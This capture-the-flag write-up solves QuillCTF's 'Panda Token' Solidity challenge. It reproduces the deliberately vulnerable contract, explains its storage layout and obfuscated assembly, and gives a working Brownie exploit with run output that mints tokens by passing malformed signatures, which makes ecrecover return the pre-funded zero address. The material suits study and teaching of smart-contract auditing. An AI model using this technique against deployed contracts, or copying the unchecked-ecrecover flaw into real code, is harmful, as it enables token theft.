Pande Token is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. PandaToken.sol
and also foundry setup script. Contract is not deployed on any test network.
Objective of CTF is
To pass the CTF, the hacker must have 3 tokens (3e18) on their account.
To solve this question we have to get 3e18 amount of PandaToken as a hacker. If we take a look to the contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract PandaToken is ERC20, Ownable {
uint public c1;
mapping(bytes => bool) public usedSignatures;
mapping(address => uint) public burnPending;
event show_uint(uint u);
function sMint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}
constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}
function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}
return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}
function getTokens(uint amount, bytes memory signature) external {
uint giftAmount = calculateAmount(amount);
bytes32 msgHash = keccak256(abi.encode(msg.sender, giftAmount));
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
address giftFrom = ecrecover(msgHash, v, r, s);
burnPending[giftFrom] += amount;
require(amount == 1 ether, "amount error");
require(
(balanceOf(giftFrom) - burnPending[giftFrom]) >= amount,
"balance"
);
require(!usedSignatures[signature], "used signature");
usedSignatures[signature] = true;
_mint(msg.sender, amount);
}
function burnPendings(address burnFrom) external onlyOwner {
burnPending[burnFrom] = 0;
_burn(burnFrom, burnPending[burnFrom]);
}
}
It can be seen that there is a public getTokens
function that mints a token to msg.sender
if every required statement passes. There is 3 required statement in the function. The first one is checking if the given amount
parameter is exactly 1 ether
, and the second one is expecting the balanceOf
recovered signature address minus burnPending
should be greater than or equal to the given amount
variable which is 1 ether
. And the last one only checks if the given signature
is already used or not. If we take a look at the setup script
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/PandaToken.sol";
contract Hack is Test {
PandaToken pandatoken;
address owner = vm.addr(1);
address hacker = vm.addr(2);
function setUp() external {
vm.prank(owner);
pandatoken = new PandaToken(400, "PandaToken", "PND");
}
function test() public {
vm.startPrank(hacker);
bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);
// your goal - to have 3 tokens (3e18) on your own(hacker) balance.
// solution
...
assertEq(pandatoken.balanceOf(hacker), 3 ether);
}
}
We can see there is nothing fancy here. It just deploys pandatoken with owner
, creates one signature, and signs it with hacker
and that's all. So we have a signature, we can use it and get 1e18 token from the contract. At the end of that getTokens
function, it saves signatures to a map and does not allow us to use the same signature again. So we need to find a way to mint 3e18 token. sMint
and burnPendings
functions have onlyOwner
modifier so we won't be able to call any of them as a hacker. If we take a look to the calculateAmount
function
function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}
return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}
It is also not doing anything, there are a few let definitions but eventually, that function is just doing 1000*amount/1000 and returns the value. Simply it can be written in solidity like:
function calculateAmount(
uint given
) public view returns (uint) {
uint256 first = 2;
uint256 second = 1000;
uint256 third = 14382;
uint256 fourth = 14382;
uint256 fifth = 599;
uint256 sixth = 1;
uint256 result = (given*second)/(fifth+(sixth+c1));
return result;
}
sload(6)
is the c1
variable that which owner gave to the constructor in the deploy statement. sload basically loads the x element from the storage and if we take a look it can be seen that
HexBytes('0x0190')
>>> 0x190
400
It is 400. The reason c1
is in the sixth slot in the storage, PandaToken
is inherited from ERC20
and Ownable
contracts. So storage layout starts with ERC20
and then Ownable
and then PandaToken
's variables. So if we take a look to the both contracts
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
and
abstract contract Ownable is Context {
address private _owner;
We can say that slots are:
slot[0] => _balances
slot[1] => _allowances
slot[2] => _totalSupply
slot[3] => _name
slot[4] => _symbol
slot[5] => _owner
slot[6] => c1
And we can verify them
>>> web3.eth.getStorageAt(pandatoken.address, 0)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 1)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 2)
HexBytes('0x00')
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 3).hex()[2:]).decode()
'PandaToken\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14'
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 4).hex()[2:]).decode()
'PND\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'
>>> web3.eth.getStorageAt(pandatoken.address, 5)
HexBytes('0x66ab6d9362d4f35596279692f0251db635165871')
>>> web3.eth.getStorageAt(pandatoken.address, 6)
HexBytes('0x0190')
>>> owner.address
'0x66aB6D9362d4F35596279692F0251Db635165871'
The reason _balances
and _allowances
return 0 is maps are stored in the storage in a different way. Layout of State Variables in Storage.
The value corresponding to a mapping key k is located at keccak256(h(k) . p)
where . is concatenation and h is a function that is applied to the key
depending on its type:
for value types, h pads the value to 32 bytes in the same way as when
storing the value in memory.
for strings and byte arrays, h(k) is just the unpadded data.
So there is only one function we didn't take a look and it is the constructor. In the constructor, contract is doing some inline assembly operations.
constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}
If we examine it line by line it can be seen that contract is changing the _balances
variable in the ERC20
contract which will eventually result in different returns for balanceOf
function for 2 address.
let ptr := mload(0x40)
is just reads 32 bytes of memory starting at position 0x40, that slot is special in solidity. It contains the free memory pointer which points to the end of the currently allocated memory.mstore(ptr, sload(mul(1, 110)))
Is storing the second variable into theptr
variable. Second variable is multiplying 1 and 110 and loads the value at that slot which is 0 because there is not 110 variable in the contracts so it just stores 0 in theptr
variable.mstore(add(ptr, 0x20), 0)
is storing 0 toptr+20
address and which means it also sets 32 more byte next to theptr
variable.let slot := keccak256(ptr, 0x40)
in the statement we know thatkeccak256
is expecting two variables first one is the start address and the second one is the total length. So in the previous step, we set also 0 toptr+0x20
, this keccak operation is doing basicallykeccak256(abi.encode(0)+abi.encode(0))
becauseptr
is already 0 and next 32 bytes ofptr
is also 0 so it reads 64 bytes of 0s and hashes them, save the value into theslot
variable.
20 KECCAK256 A2 ost, len keccak256(mem[ost:ost+len-1]) keccak256
sstore(slot, exp(10, add(4, mul(3, 5))))
in this statement it stores the value ofexp(10, add(4, mul(3, 5)))
this function into theslot
variable. Which is basically10**(4+(3*5))
=>10**19
=>10 ether
.
If we again take a look at the layout storage algorithm, we know that map variables are stored like: keccak256(bytes32(any_address)+bytes32(map_storage_slot))
. Which is pretty similar to the previous steps. We know that map_storage_slot
is 0. So those steps just change the balance
value of address 0 to 10 ether.
>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(0) + convert.to_bytes(0)))
HexBytes('0x8ac7230489e80000')
>>> 0x8ac7230489e80000 == web3.toWei('10', 'ether')
True
>>> pandatoken.balanceOf('0x0000000000000000000000000000000000000000')
10000000000000000000
After sstore(slot, exp(10, add(4, mul(3, 5))))
this, it also changes the balance
value of _owner
to 20 ether.
>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(owner.address) + convert.to_bytes(0)))
HexBytes('0x01158e460913d00000')
>>> 0x01158e460913d00000
20000000000000000000
>>> pandatoken.balanceOf(owner) == web3.toWei('20', 'ether')
True
And we know that ecrecover
returns 0 if the signature does not match, we can use this. If we give 3 different wrong signature to the getTokens
function with 1 ether
amount, it will pass all required statements.
Python Exploit Function
from brownie import *
from scripts.setup_general import console
from brownie import convert
def setup():
owner = accounts[0]
accounts.add()
hacker = accounts[-1]
pandatoken = PandaToken.deploy(400, 'PandaToken', 'PND', {'from': owner})
# your goal - to have 3 tokens on your own(hacker) balance.
# solution
hash_ = web3.sha3(convert.to_bytes(hacker.address)+convert.to_bytes(web3.toWei('1', 'ether')))
signed = web3.eth.account.signHash(hash_, hacker.private_key)
r,s,v = signed[1], signed[2], signed[3]
def exploit():
hacker = accounts[-1]
pandatoken = PandaToken[-1]
console.green("PND balance of the hacker is: "+ str(pandatoken.balanceOf(hacker)))
console.green("Calling `getTokens` function with 3 different wrong signatures.")
pandatoken.getTokens(web3.toWei('1', 'ether'), b'', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'1', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'2', {'from': hacker})
console.green("PND balance of the hacker after attack is: "+ str(pandatoken.balanceOf(hacker)))
And the output is
+ >>> run('poc', 'setup')
Running 'scripts\poc.py::setup'...
mnemonic: 'cabbage dash garment media blush undo gasp tower repeat scene seat join'
Transaction sent: 0xa58b5325bc3f67153bdb413e60141eac5b0e15d234ae880bd5ad2c15c07dd239
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.constructor confirmed Block: 1 Gas used: 1136262 (9.47%)
PandaToken deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
+ >>> run('poc', 'exploit')
Running 'scripts\poc.py::exploit'...
- PND balance of the hacker is: 0
+ Calling `getTokens` function with 3 different wrong signatures.
Transaction sent: 0x60a821bc47689f34c0c61f08900dd0d43398c587e9682d91a332f9aa16c91fb5
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.getTokens confirmed Block: 2 Gas used: 116002 (0.97%)
Transaction sent: 0xe6f99a232978206463842fe0e3bc5c90ad53a2e063fb676badb2f1d25a3b7f97
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
PandaToken.getTokens confirmed Block: 3 Gas used: 71178 (0.59%)
Transaction sent: 0xbfbf260bae33b239df2e37a92f951493d0cfb499c5ef0c5581201d8aa81d8b50
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
PandaToken.getTokens confirmed Block: 4 Gas used: 71178 (0.59%)
+ PND balance of the hacker after attack is: 3000000000000000000